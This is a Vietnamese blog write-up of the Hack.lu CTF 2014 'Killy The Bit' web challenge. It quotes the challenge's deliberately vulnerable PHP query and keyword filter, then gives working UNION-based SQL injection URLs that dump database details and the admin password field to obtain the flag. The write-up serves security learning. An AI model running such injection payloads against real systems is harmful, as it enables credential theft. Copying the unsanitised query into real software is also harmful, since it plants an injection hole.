BYTE

Write_up CTF by BYTE

[CTF Writeup]Hacklu CTF 2014 | Killy The Bit Web 200

Published by byte.kve under on 05:24
Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.

Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account?
Chúng ta có một file sources index.phps
Backup: http://pastie.org/9669992
Đầu tiên thì phải nói là bài này khiến mình mất khá nhiều thời gian, dẫu biết là sqli ở name, nhưng vẫn không có thể tìm ra flag một cách nhanh chóng. Và trong 30 phút còn lại của buổi học, cũng như contest này, Lan đã gặp Điệp.

$res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");

    if(mysql_fetch_object($res)) {       
        // Generation of new password
        //<topsecure content>
        // this was filtered during the creation of the phps file
        //</topsecure content>
        die("A new password was generated and sent to your email address!");
 Hmm, đầu tiên thì mình nghĩ đến việc rằng sẽ sử dụng blind ở đây, vì theo mình nghĩ thực chất sẽ không có một đoạn code nào generate new password cả, vì mình đoán chắc chắn flag sẽ nằm ở đây ( và sau khi hint, số phần trăm đã tăng lên 110% :)) ). Cộng với việc có một comment khá thú vị ở đây:
<!-- blind? we will kill you :) -->
if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name']))
càng làm mình có ý nghĩ blind sqli để ra kết quả, nhưng nghe có vẻ hơi khoai :'( flag chắc chắn sẽ đâu có ngắn.
Cũng may thì đến đây BTC lại ra thêm 1 hint mới là "Blind SQLi is not a good solution. You can get the correct and complete flag with one single request".(__ __!!) ok, single request, và để ý lại đoạn code, chúng ta có gì nào:
Nếu các bạn tinh ý hơn ngay từ đâu, chúng ta có thể nhận ra rằng có thể thực hiện một câu lệnh sqli đơn giản vào $_GET['name'] với một giá trị được xem là "look like".
while($row = mysql_fetch_object($res)) {
           echo $row->name;
           echo "<br>";
Ngay và luôn, mình thử query:
https://wildwildweb.fluxfingers.net:1424/?name=adm' union select concat(user(),0x7c,database(),0x7c,version()),2 limit 1,1-- -&submit=Generate#
và:
We couldn't find your username, but it sounds like this user:
ctf-level@localhost|ctf-level|5.5.40-0ubuntu0.14.04.1
So simple!
 https://wildwildweb.fluxfingers.net:1424/?name=adm' union select passwd,2 from user where id=1 limit 1,1-- -&submit=Generate#
Flag:
We couldn't find your username, but it sounds like this user:
flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}

0 nhận xét:

Đăng nhận xét